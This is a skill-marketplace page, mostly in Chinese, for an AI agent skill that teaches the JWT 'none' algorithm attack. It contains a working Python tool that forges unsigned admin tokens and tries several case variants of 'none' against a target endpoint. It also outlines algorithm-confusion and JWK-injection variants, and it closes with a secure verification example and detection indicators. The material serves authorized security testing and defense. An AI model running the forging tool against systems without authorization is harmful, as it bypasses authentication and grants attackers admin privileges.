# Performing JWT None Algorithm Attack

> 通过操纵 JSON Web Token 中的 alg 头部字段，执行并测试 JWT None 算法攻击，以绕过签名验证。

- Skill: `killvxk/performing-jwt-none-algorithm-attack` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-jwt-none-algorithm-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-jwt-none-algorithm-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-jwt-none-algorithm-attack

---


# 执行 JWT None 算法攻击

## 概述

JWT None 算法攻击利用 JSON Web Token 库中的漏洞——这些库接受 `alg` 头部设置为 `none` 的令牌，从而有效地绕过签名验证。当服务器处理带有 `"alg": "none"` 的 JWT 时，它会在不检查任何密码学签名的情况下将该令牌视为有效，使攻击者能够伪造带有任意声明（Claims）的令牌，例如提升权限、冒充用户或延长过期时间。该漏洞于 2015 年由 Tim McLean 首次披露，已影响多种语言的多个 JWT 库。

## 前置条件

- 使用 JWT 进行认证或授权的目标应用
- 能够拦截和修改 HTTP 请求（Burp Suite、mitmproxy）
- Python 3.8+ 及 PyJWT 库，用于令牌构造
- 了解 JWT 结构（Header.Payload.Signature）
- 对目标执行安全测试的授权

## JWT 结构

JWT 由三个以点分隔的 Base64URL 编码部分组成：

```
Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # 头部（Header）
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # 载荷（Payload）
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # 签名（Signature）
```

## 攻击方法

### 步骤 1：捕获有效的 JWT

使用 Burp Suite 或浏览器开发者工具拦截目标应用的合法 JWT：

```
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```

### 步骤 2：解码并分析令牌

```python
import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# 解码头部
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# 输出：{'alg': 'HS256', 'typ': 'JWT'}

# 解码载荷
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# 输出：{'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
```

### 步骤 3：构造使用 None 算法的伪造令牌

```python
#!/usr/bin/env python3
"""JWT None 算法攻击工具

通过将 alg 设置为 'none' 来构造 JWT 令牌，
测试签名验证绕过漏洞。
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # 'none' 算法值的所有已知变体
    NONE_VARIANTS = [
        "none", "None", "NONE", "nOnE",
        "noNe", "NoNe", "nONE", "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """使用 none 算法和修改后的载荷构造 JWT。"""
        # 创建使用 none 算法的头部
        header = {"alg": alg_variant, "typ": "JWT"}
        header_encoded = self._base64url_encode(json.dumps(header).encode())

        # 编码修改后的载荷
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # 带空签名的令牌（仅有末尾的点）
        return f"{header_encoded}.{payload_encoded}."

    def test_none_variants(self, endpoint: str = "/api/profile",
                            headers: Optional[dict] = None) -> list:
        """对目标测试所有 none 算法变体。"""
        results = []
        base_headers = headers or {}

        for variant in self.NONE_VARIANTS:
            modified_payload = dict(self.original_payload)
            modified_payload["role"] = "admin"
            token = self.craft_none_token(modified_payload, variant)

            test_headers = dict(base_headers)
            test_headers["Authorization"] = f"Bearer {token}"

            try:
                response = requests.get(
                    f"{self.target_url}{endpoint}",
                    headers=test_headers,
                    timeout=10
                )
                result = {
                    "variant": variant,
                    "status_code": response.status_code,
                    "accepted": response.status_code == 200,
                    "response_length": len(response.content),
                }
                results.append(result)

                if response.status_code == 200:
                    print(f"  [VULNERABLE] alg='{variant}' -> {response.status_code}")
                else:
                    print(f"  [SAFE] alg='{variant}' -> {response.status_code}")

            except requests.exceptions.RequestException as e:
                results.append({
                    "variant": variant, "status_code": 0,
                    "accepted": False, "error": str(e)
                })

        return results
```

### 步骤 4：额外的 JWT 攻击变体

**算法混淆攻击（RS256 转 HS256）：**

如果服务器使用 RS256（非对称算法），知道公钥的攻击者可以：
1. 将 `alg` 改为 `HS256`
2. 使用公钥作为 HMAC 密钥对令牌签名
3. 服务器可能用其公钥作为 HMAC 密钥验证签名

**JWK 头部注入（CVE-2018-0114）：**
```json
{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "<攻击者控制的密钥>",
    "e": "AQAB"
  }
}
```

## 缓解策略

```python
# 安全的 JWT 验证——始终指定允许的算法
import jwt

def verify_token_secure(token: str, secret_key: str) -> dict:
    """使用显式算法白名单验证 JWT。"""
    try:
        payload = jwt.decode(
            token,
            secret_key,
            algorithms=["HS256"],  # 关键：显式白名单
            options={
                "require": ["exp", "iat", "sub"],  # 必需声明
                "verify_exp": True,
                "verify_iat": True,
            }
        )
        return payload
    except jwt.InvalidAlgorithmError:
        raise ValueError("无效的令牌算法")
    except jwt.ExpiredSignatureError:
        raise ValueError("令牌已过期")
    except jwt.InvalidTokenError:
        raise ValueError("无效的令牌")
```

## 检测指标

- 服务器日志中带有 `"alg": "none"`（或大小写变体）的 JWT 令牌
- 签名段为空或缺失的令牌
- 算法字段相对正常模式的突然变化
- 同一会话中带有修改声明（角色提升）的令牌
- Authorization 头部包含只有两个 Base64 段的令牌

## 参考资料

- OWASP JWT 测试指南
- PortSwigger JWT None 算法
- HackTricks JWT 漏洞

